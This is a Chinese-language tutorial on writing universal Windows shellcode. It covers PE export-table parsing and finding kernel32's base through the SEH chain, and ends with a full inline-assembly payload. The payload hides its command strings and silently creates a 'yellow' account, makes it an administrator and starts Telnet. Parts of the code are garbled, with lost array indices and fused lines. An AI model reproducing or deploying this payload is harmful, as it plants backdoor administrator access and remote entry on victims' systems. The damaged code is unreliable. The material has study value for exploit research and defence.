通用ShellCode深入剖析前言: 在網上關于ShellCode編寫技術的文章已經非常之多,什么理由讓我再寫這種技術文 章呢?本文是我上一篇溢出技術文章<Windows 2000緩沖區溢出技術原理>的姊妹篇,同樣 的在網上我們經常可以看到一些關于ShelCode編寫技術的文章,似乎沒有為初學者準備的 ,在這里我將站在初學者的角度對通用ShellCode進行比較詳細的分析,有了上一篇的溢出 理論和本篇的通用ShellCode理論,基本上我們就可以根據一些公布的Window溢出漏洞或 是自己對一些軟件系統進行反匯編分析出的溢出漏洞試著編寫一些溢出攻擊測試程序. 文章首先簡單分析了PE文件格式及PE引出表,并給出了一個例程,演示了如何根據PE 相關技術查找引出函數及其地址,隨后分析了一種比較通用的獲得Kernel32基址的方法, 最后結合理論進行簡單的應用,給出了一個通用ShellCode. 本文同樣結合我學習時的理解以比較容易理解的方式進行描述,但由于ShellCode的 復雜性,文章主要使用C和Asm來講解,作者假設你已具有一定的C/Asm混合編程基礎以及上 一篇的溢出理論基礎,希望本文能讓和我一樣初學溢出技術的朋友有所提高.
[目錄]
1,PE文件結構的簡介,及PE引出表的分析. 1.1 PE文件簡介 1.2 引出表分析 1.3 使用內聯匯編寫一個通用的根據DLL基址獲得引出函數地址的實用函數 GetFunctionByName
2,通用Kernel32.DLL地址的獲得方法. 2.1 結構化異常處理和TEB簡介 2.2 使用內聯匯編寫一個通用的獲得Kernel32.DLL函數基址的實用函數 GetKernel32
3,綜合運用(一個簡單的通用ShellCode) 3.1 綜合前面所講解的技術編寫一個添加帳號及開啟Telnet的簡單ShellCode: 根據第2節所述技術使用我們自己實現的GetFunctionByName獲得LoadLibraryA和 GetProcAddress函數地址,再使用這兩個函數引入所有我們需要的函數實現期望的 功能.
4,參考資料.
5,關鍵字. --------------------------------------------------------------------------------
一,PE文件結構及引出表基礎 1,PE文件結構簡介
PE(Portable Executable,移植的執行體),是微軟Win32環境可執行文件的標準格式 (所謂可執行文件不光是.EXE文件,還包括.DLL/.VXD/.SYS/.VDM等)
PE文件結構(簡化):
----------------- │1,DOS MZ header│ ----------------- │2,DOS stub │ ----------------- │3,PE header │ ----------------- │4,Section table│ ----------------- │5,Section 1 │ ----------------- │6,Section 2 │ ----------------- │ Section ... │ ----------------- │n,Section n │ -----------------
記得在我還沒有接確Win32編程時,我曾在Dos下運行過一個Win32可執行文件,程序只輸出 了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎么識別自 己不在Win32平臺下的呢?其實它并沒有進行識別,它可能簡單到只輸入這一行文字就退出 了,可能源碼就像下面的C程序這么簡單:
#include <stdio.h> void main(void) { printf("This program cannot be run in DOS mode.n"); }
你可能會問"我在寫Win32程序時并沒有寫過這樣的語句啊?",其實這是由連接器(linker) 為你構建的一個16位DOS程序,當在16位系統(DOS/Windows 3.x)下運行Win32程序時它才會 被執行用來輸出一串字符提示用戶"這個程序不能在DOS模式下運行".
我們先來看看DOS MZ header到底是什么東西,下面是它在Winnt.h中的結構描述:
typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header WORD e_magic; //0x00 Magic number WORD e_cblp; //0x02 Bytes on last page of file WORD e_cp; //0x04 Pages in file WORD e_crlc; //0x06 Relocations WORD e_cparhdr; //0x08 Size of header in paragraphs WORD e_minalloc; //0x0a Minimum extra paragraphs needed WORD e_maxalloc; //0x0c Maximum extra paragraphs needed WORD e_ss; //0x0e Initial (relative) SS value WORD e_sp; //0x10 Initial SP value WORD e_csum; //0x12 Checksum WORD e_ip; //0x14 Initial IP value WORD e_cs; //0x16 Initial (relative) CS value WORD e_lfarlc; //0x18 File address of relocation table WORD e_ovno; //0x1a Overlay number WORD e_res[4]; //0x1c Reserved words WORD e_oemid; //0x24 OEM identifier (for e_oeminfo) WORD e_oeminfo; //0x26 OEM information; e_oemid specific WORD e_res2[10]; //0x28 Reserved words LONG e_lfanew; //0x3c File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指針),cs(代碼段寄存 器),需要分配的內存大小,checksum(校驗和)等,當DOS準備為可執行文件建立進程時會讀取其 中的值來完成初使化工作.
留意到最后一個結構成員了嗎?微軟的人對它的描述是File address of new exe header 意義是"新的exe文件頭部地址",它是一個相對偏移值,我想文件偏移量你一定知道是什么吧! e_lfanew就是一個文件偏移值,它指向PE header,它對我們來說非常重要.緊跟著DOS MZ header 的是DOS stub它是linker為我們建立的這個16位DOS程序的代碼實體部分,就是它輸出了 "This program cannot be run in DOS mode.".再后面就是PE header了,有人曾問過我PE頭部 相對于.exe文件的偏移是不是固定的?這個可不好說,不同的編譯器生成的stub長度可能不一樣 (比如:它可能存儲了這樣一個字串來提示用戶"The Currnet OS is not Win32,I want to run in Win32 Mode.",那么這個stub的長度將比前面的那個長),所以用一個固定值來定位PE header 是不科學的,這個時候我們就用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當然 的!linker總是會它賦予一個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader 也根據e_lfanew來定位真正的PE header,并使用PE header中的不同的成員值進行初使化,PE還 包涵了很多個"節"(Section),有用來存儲數據的,有用來存可執行代碼的,還有的是用來存資源 的(如:程序圖標,位圖,聲音,對話框模板等) 下面我只簡單分析一下PE結構與編寫ShellCode相關的部分,如果你對其它部分也比較感興趣 可以看看臺港侯俊杰先生譯的<Windows 95系統程序設計大奧秘>中的相關內容以及Iczelion的經 典PE教程,我個人覺得將兩者結合起來看要好一點.
2,引出表分析
在PE header結構(你可以Winnt.h中找到它)中包括一個DataDirectory結構成員數組,可以通 過這樣的方法來找到它的位置: PE頭部偏移=可執行文件內存映象基址+0x3c(e_lfanew) PE基址=可執行文件內存映象基址+PE頭部偏移 引出表目錄指針(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory 引出函數名稱表首指針(char**)=引出表目錄基址+0x20 引出函數地址表首指針(DWORD **)=引出表目錄指針+0x1c 它的結構定義是這樣的:
typedef struct _Image_Data_Directory{ DWORD VirtualAddress; DWORD isize; }IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;
該結構數組共包括16成員,第一個成員的VirtualAddress存儲了一個相對偏移量,它指向一個 IMAGE_EXPORT_DIRECTORY結構,它的定義是這樣的:
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics;//0x00 DWORD TimeDateStamp;//0x04 WORD MajorVersion;//0x08 WORD MinorVersion;//0x0a DWORD Name;//0x0c DWORD Base;//0x10 DWORD NumberOfFunctions;//0x14 DWORD NumberOfNames;//0x18 DWORD AddressOfFunctions;//0x1c RVA from base of image DWORD AddressOfNames;//0x20 RVA from base of image DWORD AddressOfNameOrdinals;//0x24 RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
其中AddressOfFunctions里又存儲了一個二級指針,它指向一個DWORD型指針數組該數 組成員所指就是函數地址值,但其中的值是函數相對于可執行文件在內存映象中基地址的一 個相對偏移值,真正的函數地址等于這個相對偏移值+可執行文件在內存映象中的基地址,我 們可以Call這個計算后的真實地址來調用函數.AddressOfNames是一個二級字符指針,該數組 成員所指就是函數名稱字符串相對于可執行文件在內存映象中的基地址的一個偏移值,同樣 可以通過相對偏移值+可執行文件在內存映象中的基地址來引用函數名稱字串.Name也是一個 字符指針,它也只存儲了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向 的字串就為"KERNEL32.dll".
3,本節應用實例
關于PE和引出表我們已經分析了與編寫ShellCode密切相關的部分,這一部分的確有點難, 但一定要把它搞清楚,只有把它搞懂我們才能進行下一節的學習,在本節的最后附上一個小程序, 在內聯匯編代碼中大量使用了"間接引用",如果你對指針很熟悉基本上它很好理解,在程序里我 們實現了Windows API GetProcAddress的功能,這種技術對于想使用一些未公開的系統函數也是 非常之有用的. ------------ -----------------------------------------
GetFunctionByName函數可以從一個PE執行文件中以函數名查找引出表并返回引出函數地址,只 需要知道KERNEL32.DLL的基地址值,使用它在本程序中我們不包括頭文件也可以使用任何一個 Windows API.在我的機器上它是0x77e60000程序如下:
//GetFunctionByName.c //原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen); //參數: // ImageBase: 可執行文件的內存映象基址 // FuncName: 函數名稱指針 // flen: 函數名稱長度 //返回值: // 函數成功時返回有效的函數地址,失敗時返回0. //最終在寫ShellCode時,應該給該函數加上__inline聲明,因為它要與ShellCode融為一體.
//注意,在本例中我們沒有包括任何一個.h文件
unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen) { unsigned int FunNameArray,PE,Count=0,*IED;
__asm { mov eax,ImageBase add eax,0x3c//指向PE頭部偏移值e_lfanew mov eax,[eax]//取得e_lfanew值 add eax,ImageBase//指向PE header cmp [eax],0x00004550 jne NotFound//如果ImageBase句柄有錯 mov PE,eax mov eax,[eax+0x78] add eax,ImageBase mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY //mov eax,[eax+0x0c] //add eax,ImageBase//指向引出模塊名,如果在查找KERNEL32.DLL的引出函數那么它將指向"KERNEL32.dll" //mov eax,[IED] mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//保存函數名稱指針數組的指針值 mov ecx,[IED] mov ecx,[ecx+0x14]//根據引出函數個數NumberOfFunctions設置最大查找次數 FindLoop: push ecx//使用一個小技巧,使用程序循環更簡單 mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen//逐個字符比較,如果相同則為找到函數,注意這里的ecx值 cld rep cmpsb jne FindNext//如果當前函數不是指定的函數則查找下一個 add esp,4//如果查找成功,則清除用于控制外層循環而壓入的Ecx,準備返回 mov eax,[IED] mov eax,[eax+0x1c] add eax,ImageBase//獲得函數地址表 shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函數索引*4) add eax,Count mov eax,[eax]//獲得函數地址相對偏移量 add eax,ImageBase//計算函數真實地址,并通過Eax返回給調用者 jmp Found FindNext: inc Count//記錄函數索引 add [FunNameArray],4//下一個函數名指針 mov eax,FunNameArray pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數循環 loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找 NotFound:xor eax,eax//如果沒有找到,則返回0 Found: } } /* 讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中LoadLibraryA 的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地址,call 它一下 */ int main(void) {
char title[]="test",user32[]="user32",msgf[]="MessageBoxA"; unsigned int loadlibfun; loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12); //0x77e60000是我機器上的kernel32.dll的基址,不同機器上的值可能不同 __asm { lea eax,user32 push eax call dword ptr loadlibfun //相當于執行LoadLibrary("user32"); lea ebx,msgf push 0x0b//"MessageBoxA"的長度 push ebx push eax call GetFunctionByName mov ebx,eax add esp,0x0c//GetFunctionByName使用C調用約定,由調用者調整堆棧 push 0 lea eax,title push eax push eax push 0 call ebx//相當于執行MessageBox(NULL,"test","test",MB_OK) } return 1; } 函數的內聯匯編代碼有很多這樣的語句: mov eax,[somewhere] mov eax,[eax+0x??] add eax,ImageBase 我試過使用mov eax,[ImageBase+eax+0x??]之類的語法,因為用到很多多級指針,而它們指向 的又是相對偏移量所以要不斷的"獲取和計算",否則很容易導致"訪問違例".編譯運行,彈出了 一個MessageBox標題和內容都是"test"看到了嗎?你可能會問這個程序拿到其它機器上也可能 運行嗎?在整個程序里我們唯一依賴的就是0x77e60000這個kernel32.dll基址,其它機器上的 可能不是這個值,如果這個地址值可以在程序運行時動態的計算出來,那么這個程序將非常通 用,它可以動態計算出來嗎?答案是肯定的!下一節我們將來分析一種并不很流行但很通用的動 態計算獲得kernel32.dll基址的方法.
---------------------------------------------------------------------------------
二,在動態獲得Kernel32.DLL地址方法的分析
1,簡析結構化異常處理(SEH,Structred Exception Handling) SEH已經不是很什么新技術了,但是對于我將要講了非常重要,所以在這里對它做一個簡單的 分析.Ok,打開VC,讓我們來分析一個簡單的"除"運算程序,看看它哪里有問題:
#include <stdio.h> #include <conio.h> int main(void) { int x,y,z=y=x=0; printf("Input two integer number:"); scanf("%d %d",&x,&y); z=x/y; printf("%d DIV %d = %d",x,y,z); getch(); return 0; } 編譯,運行:輸入4 2,程序輸出"4 DIV 2 = 2",結果很正確.再運行輸入 4 0,問題出來了, Visual Studio彈出了一個信息框: "Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現了未處理的 "除0異常",傳統的方法是我們在z=x/y之前加上判斷: #include <stdio.h> #include <conio.h> int main(void) { int x,y,z=y=x=0; printf("Input two integer number:"); scanf("%d %d",&x,&y); if(!y) { printf("Can not Divide by Zero!"); goto LQUIT; } z=x/y; printf("%d DIV %d = %d",x,y,z); LQUIT: getch(); return 0; } 出錯處理在這個小程序里這的確很容易看懂,可是想想如果在數千甚至上萬行的程序里,這樣的 錯誤捕獲處理會讓程序變的十分凌亂難懂,而且傳統方法處理的是我們可以想像(猜測)到的錯誤, 但是某些導到程序出錯的情況是很隨機的,這樣就不能保證程序的健壯性了,而SEH正是為了讓正 常的處理代碼和出錯處理代碼分開,以使程序結構清淅,并使程序更加 健壯.讓我們再把這個小程序改一下: #include <stdio.h> #include <conio.h> #include <windows.h>
int main(void) { int x,y,z=y=x=0; printf("Input Two Integer Number:"); scanf("%d %d",&x,&y); __try {//把可能出錯的程序段封裝起來 z=x/y; //...... } __except(EXCEPTION_EXECUTE_HANDLER) {//在這里找出出現異常的原因,并進行處理 switch(GetExceptionCode()) { case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0異常 { printf("Can not Divide by Zero!"); goto LQUIT; } case EXCEPTION_ACCESS_VIOLATION://內存訪問違例 { //..... break; } //do other...... default: break; } } printf("%d DIV %d = %dn",x,y,z); LQUIT: getch(); return 0; } 這樣我們就使終都可以捕獲到異常了,編譯,選擇"Disassembly",可以看到這樣的代碼: push offset __except_handler3 (00401330) mov eax,fs:[00000000] push eax mov dword ptr fs:[0],esp 這是實際上是標準的SEH異常處理函數的注冊方法,我們的__except(){}實際在編譯時被當成一個 線程相關的異常處理函數,實際上這段代碼的作用是將我們的異常處理函數加入異常處理結構鏈 表EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函數鏈表的首指針,它的最后一條記錄 的節點指針指向0xffffffff.它的結構描述是這樣的:
typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD * pNext; //指向后面的節點 FARPROC pfnHandler;//指向異常處理函數 } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
你可能會問"你怎么知道fs:[0]是該結構的首指針呢?",當然我沒有那么天才,從Windows 95系統程序 設計一書中可以得知每當創建一個線程,系統均會為每個線程分配TEB(Thread Environment Block) 在Windows 9x中被稱為TIB(Thread Information Block),而且TEB永遠放在fs段選擇器指定的數據段 的0偏移處. ----------------------------------- ----------------------------- 再看一下TEB的結構定義你就會明白的: typedef struct _TIB { PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指針成員 --------------------------------------------------------- PVOID pvStackUserTop; // 04h Top of user stack PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences) { struct // Win95 fields { WORD pvTDB; // 0Ch TDB WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits DWORD unknown1; // 10h } WIN95;
struct // WinNT fields { PVOID SubSystemTib; // 0Ch ULONG FiberData; // 10h } WINNT; } TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences) { struct // Win95 fields { WORD TIBFlags; // 1Ch WORD Win16MutexCount; // 1Eh DWORD DebugContext; // 20h DWORD pCurrentPriority; // 24h DWORD pvQueue; // 28h Message Queue selector } WIN95;
struct // WinNT fields { DWORD unknown1; // 1Ch DWORD processID; // 20h <=---注意這個和下面一個成員 //------------- DWORD threadID; // 24h <=---注意這個成員 //------------- DWORD unknown2; // 28h } WINNT; } TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences) { struct // Win95 fields { PVOID* pProcess; // 30h Pointer to owning Process Database } WIN95; } TIB_UNION3;
} TIB, *PTIB;
看見了嗎?TEB的第一個成員pvExcept是異常處理鏈首指針Head of exception record list,它相對于 TEB首地址0x00偏移處,而TEB永遠放在fs段寄存器的0x00偏移處,也就是fs段寄存器的0x00偏移處. 看到我讓你留意的另兩個成員了嗎?processID存儲了當前線程屬進程的ID號,threadID存儲了當前線程 ID號,這樣我們又可以實現兩Windows API了: //MyAPI.c #include <stdio.h> #include <conio.h> #include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void) { __asm { mov eax,fs:[0x20]//讀取TEB的processID成員內容,通過eax返回 ret } }
__inline __declspec(naked)DWORD GetCurrentThreadId2(void) { __asm { mov eax,fs:[0x24]//讀取TEB的threadID成員內容,通過eax返回 ret } } //測試一下 void main(void) { printf("MY PID=%dtAPI PID=%dn",GetCurrentProcessId2(),GetCurrentProcessId()); printf("MY TID=%dtAPI TID=%dn",GetCurrentThreadId2(),GetCurrentThreadId()); getch(); } 程序輸出: MY PID=1448 API PID=1448 MY TID=1204 API TID=1204
注意,不同的機器,不同時刻這里輸出的值可能不一樣,但MY PID恒等于API PID,MY TID恒等API TID.越 來越有意思了吧!說了這么多,那么這些與獲得kernel32.dll基址有什么關系嗎?不要著急,繼續往下看你 就會明白的!
2,通過異常處理函數鏈表查找kernel32.dll基地址
現在讓我們來看看異常處理的順序,它是這樣的: 當一個異常發生時,系統會從fs:[0]處讀取異常處理函數鏈表首指針,開始問所有在應用程序中注冊的 異常處理函數,比如上面的"除0異常",系統會把這個異常通知我們的異常處理函數,函數識別出是"除0異常", 并給予了處理(輸出了"Can not Divide by Zero!"),并告訴系統"我已經處理過了,不用再問其它函數了". 如果我們的函數不打算處理這個異常可以交給兄弟節點中異常處理函數指針指向的其它異常處理函數 處理,如果程序中注冊的異常處理均不處理這個異常,那么系統將把它發送給當前調試工具,如果應用程序當 前不處在調試狀態或是調試工具也不處理這個異常的話,系統將把它發送給kernel32的UnhandledExceptionFilter 函數進行處理,當然它是由程序異常處理鏈最后一個節點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD) 函數指針成員指向的,該節點的pNext成員將指向0xffffffff. 看了這么多有點靈感了嗎?我們已經有了kernel32.dll的一個引出函數的地址了,難道還找不出它的基址 嗎?看看下面的這個小程序吧! /* 原型:unsigned int GetKernel32(void); 參數:無 返回值: 函數總是能返回Kernel32.dll的基地址 說明:根據PE可執行文件特征從UnhandledExceptionFilter函數地址向上線性查找,使用__inline是為了與 最終的ShellCode融為一體,使用__declspec(naked)是為了不讓編譯器自作聰明生成一些"廢話",讓它 完全按照我們自己的Asm語句來描述函數. */ #include <stdio.h> #include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32() { __asm { push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter//如果到達最后一個節點(它的pfnHandler指向UnhandledExceptionFilter) mov eax,[eax]//否則往后遍歷,一直到最后一個節點 jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000//根據PE執行文件以64k對界的特征加快查找速度 cmp word ptr [eax],'ZM'//根據PE可執行文件特征查找KERNEL32.DLL的基址 jne MoveUp//如果當前地址不符全MZ頭部特征,則向上查找 mov ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],'EP'//根據PE可執行文件特征查找KERNEL32.DLL的基址 je Found//如果符合MZ及PE頭部特征,則認為已經找到,并通過Eax返回給調用者 MoveUp: dec eax//準備指向下一個界起始地址 jmp FindMZ Found: pop ecx pop esi ret } }
void main(void) { printf("%0.8Xn",GetKernel32()); getch(); }
完成了本節的學習以后,你應該掌握常用于編寫病毒和ShellCode的幾種技術: 1,根據PE文件查找引出函數地址 2,動態計算KERNEL32.DLL的基址 3,動態裝載需要的運行庫及動獲得需要的Windows API(s) 在最后一節里我們將對前面所分析的技術做一個綜合應用,寫一個簡單的ShellCode -------------------------------------------------------------------------------------------- 三,綜合運用 本節我們將綜合前面分析的技術編寫一個簡單的通用ShellCode,這個ShellCode將首先在遠程機器上新建一個 用戶,用戶名yellow,密碼yellow,如果如果可能將把該用戶加入Administrators用戶組,如果可能還會打開Telnet 服務,請留意我的編碼風格,這樣風格對以后的ShellCode功能擴充提供很大方便.源程序如下: /////////////////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <conio.h> #include <windows.h> #include <winsock.h> //定義API及DLL名稱及其存儲順序,良好的編碼風格對于以后的開發會提供很大的方便 #define APISTART 0 #define GETPROCADDRESS(APISTART+0) #define LOADLIBRARY(APISTART+1) #define EXITPROCESS(APISTART+2) #define WINEXEC(APISTART+3) #define KNLSTART(EXITPROCESS) #define KNLEND(WINEXEC) #define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1) #define SOCKET(WSOCKSTART+0) #define BIND(WSOCKSTART+1) #define CONNECT(WSOCKSTART+2) #define ACCEPT(WSOCKSTART+3) #define LISTEN(WSOCKSTART+4) #define SEND(WSOCKSTART+5) #define RECV(WSOCKSTART+6) #define CLOSESOCKET(WSOCKSTART+7) #define WSASTARTUP(WSOCKSTART+8) #define WSACLEANUP(WSOCKSTART+9) #define WSOCKEND(WSACLEANUP) #define NWSOCKAPI(10) //define NETAPI,RPCAPI...... #define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0 #define KERNELDLL(DLLSTART+0) #define WS2_32DLL(DLLSTART+1) #define DLLEND (WS2_32DLL) #define NDLLS2
#define COMMAND_START 0 #define COMMAND_ADDUSER (COMMAND_START+0) #define COMMAND_SETUSERADMIN(COMMAND_START+1) #define COMMAND_OPENTLNT (COMMAND_START+2) #define COMMAND_END (COMMAND_OPENTLNT) #define NCMD3 void ShellCodeFun(void) { DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS]; int i; char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD]; FARPROC API[NAPIS]; __asm {//1,手工獲得KERNEL32.DLL基址,并獲得LoadLibraryA和GetProcAddress函數地址 push esi push ecx mov esi,fs:0 lodsd GetExeceptionFilter: cmp [eax],0xffffffff je GetedExeceptionFilter mov eax,[eax] jmp GetExeceptionFilter GetedExeceptionFilter: mov eax, [eax+4] FindMZ: and eax,0xffff0000 cmp word ptr [eax],'ZM' jne MoveUp mov ecx,[eax+0x3c] add ecx,eax cmp word ptr [ecx],'EP' je FoundKNL MoveUp: dec eax jmp FindMZ FoundKNL: pop ecx pop esi mov DLLS[KERNELDLL* type DWORD],eax mov ImageBase,eax call LGETPROCADDRESS _emit 'G'; _emit 'e'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'A'; _emit 'd'; _emit 'd'; _emit 'r'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LGETPROCADDRESS: pop eax mov APINAMES[GETPROCADDRESS * 4],eax mov FuncName,eax mov flen,0x0d mov Count,0 call FindApi mov API[GETPROCADDRESS *type FARPROC],eax call LOADLIBRARYA _emit 'L'; _emit 'o'; _emit 'a'; _emit 'd'; _emit 'L'; _emit 'i'; _emit 'b'; _emit 'r'; _emit 'a'; _emit 'r'; _emit 'y'; _emit 'A'; _emit 0x00 LOADLIBRARYA: pop eax mov APINAMES[LOADLIBRARY * 4],eax mov FuncName,eax mov flen,0x0b mov Count,0 call FindApi mov API[LOADLIBRARY * type FARPROC],eax } __asm { //2,填寫需要的DLL名稱,注意這里和上面定義的宏順序要一樣 call KERNEL32 _emit 'k'; _emit 'e'; _emit 'r'; _emit 'n'; _emit 'e'; _emit 'l'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 KERNEL32: pop DLLNAMES[KERNELDLL*4] call WS2_32 _emit 'w'; _emit 's'; _emit '2'; _emit '_'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 WS2_32: pop DLLNAMES[WS2_32DLL * 4] //3,填寫其它需要的API名稱,注意這里也要和上面定義和宏順序一樣 call LEXITPROCESS//1 _emit 'E'; _emit 'x'; _emit 'i'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LEXITPROCESS: pop APINAMES[EXITPROCESS * 4] call LWINEXEC//2 _emit 'W'; _emit 'i'; _emit 'n'; _emit 'E'; _emit 'x'; _emit 'e'; _emit 'c'; _emit 0x00 LWINEXEC: pop APINAMES[WINEXEC * 4] call LSOCKET//3 _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 LSOCKET: pop APINAMES[SOCKET * 4] call LBIND//4 _emit 'b'; _emit 'i'; _emit 'n'; _emit 'd'; _emit 0x00 LBIND: pop APINAMES[BIND * 4] call LCONNECT _emit 'c'; _emit 'o'; _emit 'n'; _emit 'n'; _emit 'e'; _emit 'c'; _emit 't'; _emit 0x00 LCONNECT: pop APINAMES[CONNECT * 4] call LACCEPT//5 _emit 'a'; _emit 'c'; _emit 'c'; _emit 'e'; _emit 'p'; _emit 't'; _emit 0x00 LACCEPT: pop APINAMEScall LLISTEN//6 _emit 'l'; _emit 'i'; _emit 's'; _emit 't'; _emit 'e'; _emit 'n'; _emit 0x00 LLISTEN: pop APINAMES[LISTEN * 4] call LSEND//7 _emit 's'; _emit 'e'; _emit 'n'; _emit 'd'; _emit 0x00 LSEND: pop APINAMES[SEND * 4] call LRECV//8 _emit 'r'; _emit 'e'; _emit 'c'; _emit 'v'; _emit 0x00 LRECV: pop APINAMES[RECV * 4] call CLOSESOCKETL//9 _emit 'c'; _emit 'l'; _emit 'o'; _emit 's'; _emit 'e'; _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 CLOSESOCKETL: pop APINAMES[CLOSESOCKET * 4] call WSASTARTUPL//10 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'S'; _emit 't'; _emit 'a'; _emit 'r'; _emit 't'; _emit 'u'; _emit 'p'; _emit 0x00 WSASTARTUPL: pop APINAMES[WSASTARTUP * 4] call WSACLEANUPL//11 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'C'; _emit 'l'; _emit 'e'; _emit 'a'; _emit 'n'; _emit 'u'; _emit 'p'; _emit 0x00 WSACLEANUPL: pop APINAMES[WSACLEANUP * 4] //nop;可以在這里設置一個斷點查看DLLNAMES和APINAMES是否填入了需要的內容
//填寫 } //3,裝載所有需要的DLL for(i=DLLSTART;i<=DLLEND;i++) { DLLS=API[LOADLIBRARY](DLLNAMES); } //4,獲取所有需要的API //4.1取得Windows Kernel API for(i=KNLSTART;i<=KNLEND;i++) { API=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES); } //4.2取得Windows Sockets API for(i=WSOCKSTART;i<=WSOCKEND;i++) { API=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES); } //5,編寫ShellCode的功能實體部分 __asm { call PUTCOMMAND_ADDUSER _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'u' _emit 's' _emit 'e' _emit 'r' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_ADDUSER: pop CMD[COMMAND_ADDUSER * 4] call PUTCOMMAND_SETUSERADMIN _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'l' _emit 'o' _emit 'c' _emit 'a' _emit 'l' _emit 'g' _emit 'r' _emit 'o' _emit 'u' _emit 'p' _emit ' ' _emit 'A' _emit 'd' _emit 'm' _emit 'i' _emit 'n' _emit 'i' _emit 's' _emit 't' _emit 'r' _emit 'a' _emit 't' _emit 'o' _emit 'r' _emit 's' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_SETUSERADMIN: pop CMD[COMMAND_SETUSERADMIN*4] call PUTCOMMAND_OPENTLNT _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 's' _emit 't' _emit 'a' _emit 'r' _emit 't' _emit ' ' _emit 't' _emit 'l' _emit 'n' _emit 't' _emit 's' _emit 'v' _emit 'r' _emit 0x00 PUTCOMMAND_OPENTLNT: pop CMD[COMMAND_OPENTLNT* 4] } //__asm int 3//在Release版本中使用斷點 //6,執行命令新建用戶,如果權限夠就將用戶加入Administrators,再開啟標準的Telnet服務 for(i=COMMAND_START;i<=COMMAND_END;i++) API[WINEXEC](CMD,SW_HIDE); /* 我們已經引入了一些常用的KERNEL API和WINSOCK API,可以在這里進行更深入的 開發(比如我們可以使用WinSock自己實現一個Telnet服務端). */ API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤
